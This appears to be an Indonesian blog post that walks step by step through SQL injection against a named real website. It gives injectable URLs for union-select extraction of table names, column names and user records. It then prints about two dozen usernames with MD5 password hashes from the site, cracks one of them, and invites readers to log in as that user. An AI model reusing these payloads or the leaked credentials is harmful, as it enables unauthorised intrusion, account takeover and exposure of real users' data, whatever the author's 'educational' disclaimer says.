yaps kali ini kita akan membahas bagaimana sara melakukan Sqli "sotoy mode: on" hehehe jujur saya memang pernah melakukan sqli tapi jarang yang berhasil yaudah saya browsing deh di om Google untuk article+gambarnya jadi para newbie seperti saya khususnya bisa mengerti tehnik penyerangannya hehehe.
Pertama-tama carilah target web yang terdapat bug SQL injectionnya, bisa lewat om google atau ketemu dengan tidak sengaja .
Disini saya akan mempraktekkan pada situs web: http://www.sokagallery.com/. Sebenarnya bug SQL injection pada web ini sudah lama sekali saya temukan tetapi sampai sekarang masih belum deiperbaiki/patch oleh pihak admin. Oleh sebab itu saya gunakan saja situs ini sebagai percontohan (untuk adminnya mohon maaf ya [patch your system bibeh]).
Ini tampilan webnya:
Setelah 'berjalan-jalan' akhirnya saya menemukan ini:
Sekarang kita tes apakah web ini memiliki bug SQLi atau tidak dengan memasukkan single quote/tanda petik satu " ' " seperti ini:
Apa yang terjadi?. Akan terjadi error dengan pertanda yaitu content menjadi hilang seperti ini:
Pengetesan diatas belum memastikan 100% bahwa web tersebut memiliki bug SQLi. Jadi, untuk memastikannya kita gunakan pengetesan operator logika seperti ini:
Apa yang terjadi?. Dapat dilihat seperti ini:
Content menjadi hilang/error lagi. Ini berarti kolom hanya ada 9 karena 10 tidak tersedia.
Perlu di ingat pengurutan ini dimulai dari angka 1 sampai tampilan error.
http://www.sokagallery.com/content.php?id=64+order+by+1--
http://www.sokagallery.com/content.php?id=64+order+by+2--
http://www.sokagallery.com/content.php?id=64+order+by+3--
http://www.sokagallery.com/content.php?id=64+order+by+4--
dan seterusnya...
Setelah itu kita mengecek kolom yang bermasalah dengan perintah "union all select" atau "union select" seperti ini:
Setelah itu akan muncul tampilan yang menampilkan kolom yang bermasalah seperti ini:
Muncul angka 3 yang tebal seperti diatas, angka inilah yang nantinya kita gunakan sebagai referensi.
Sekarang kita mengecek versi dari MySQL yang dipakai di web ini dengan menambahkan sintak "version()" atau "@@version" pada kolom yang bermasalah tadi seperti ini:
Akan muncul versi dari MySQL yang dipakai seperti ini:
Yup, versi yang dipakai MySQL versi 5.0.67-Community
Sekarang kita lanjutkan dengan menampilkan table-table dengan perintah "...group_concat(table_name)...+from+information_schema.tables+where+table_schema=database()" seperti ini:
http://www.sokagallery.com/content.php?id=-6+union+all+select+1,2,
group_concat(table_name),4,5,6,7,8,9
+from+information_schema.tables+where+table_schema=database()
Akan muncul table-table seperti ini:
Setelah table sudah ada sekarang kita akan mengeluarkan column dari table tersebut dengan perintah "...group_concat(column_name)...+information_schema.columns+where+table_name=[nama hex sql table], pilihlah table yang akan ditampilkan column nya, disini saya memilih table web_user seperti ini:
Kemudian column-column akan muncul seperti ini:
Sekarang kita akan mengeluarkan isi dari column wu_password dan wu_username dengan perintah "...group_concat([namakolom yang diinginkan],0x3a,[namakolom yang diinginkan])...+from+[nama tabel]-- seperti ini:
http://www.sokagallery.com/content.php?id=-64+union+all+select+1,2,
group_concat(wu_username,0x3a,wu_password,0x3a),4,5,6,7,8,9
+from+web_user--
Dan akan menampilkan isi dari kolom tersebut seperti ini:
- Kita akan mendapatkan ini (format username: password):
pandudita:2b036ce7c4ae8e5304bb3ac6600edd03
joylouisee:901f4dd1038b2a2c244cdae621a902ef
abuy:81dc9bdb52d04dc20036dbd8313ed055
epurwanto:246a0222b0d20387692852378871bc5a
Maryanto:806b1db545cfcac26b5d3266cebbbd8b
aga:991174ebb848d59eda54fc78767c312d
mendel:f9a88d13e5aa507965831bcf89f14880
boudewijnb:096449a34510fa91a89232f7580d8579
antoni:035b3c6377652bd7d49b5d2e9a53ef40
robstew:7317604a1e6ac8315239318d1c7f748d
agah:45b33c23306b3ee87bfc8266f51b1b47
edza_nirmana:d5d3b463ade5d9ba476bf20e88731564
ismanto:ff2f24f8b6d253bb5a8bc55728ca7372
dewakozo:92219f26a6344d86eb173b37dbd4f5da
cinta:4cb0ee4e20e0fc42c4ce5506b01c87d9
ridiwinarno:14b41665f5aa69429a84a35fc6589a30
tozay:48bafc503cbdbf5e49ca9725f980e241
hasan:0f8ee012de9bbc29495aeacccec60c56
zeus_suropati:9b2d710fd6327b82f3236f31e33b526a,
aat_joeda:47b17b2390ab13f4ea5338739ea2cd47
popy:6883b37ddf0107f4fec7d058f3e4b951
gvegarra:f2b5be0fd8d51d658c51bc1e2ab0f1a0
Esther Setiawati:c31c37aa9ff5fb59fc433fb4ab3acc45
bondan:acaa3b2723e9789e
- Password telah diencypt menggunakan MD5, kita dinggal men-decrypt nya saja kemudian login
Username : pandudita
Password : ramadhan | karena 2b036ce7c4ae8e5304bb3ac6600edd03 = ramadhan
Coba anda tes login menggunakan username dan password diatas dan lihat apa yang terjadi.
- Untung saja username dan password diatas hanya untuk user biasa, coba bayangkan bagaimana jika kita mendapatkan user dan pass admin.hehehe
article bukan untuk berbuat tidak baik tapi hanya untuk bahan pembelajaran khususnya newbie seperti saya...
thnks to: http://www.myhabibie.com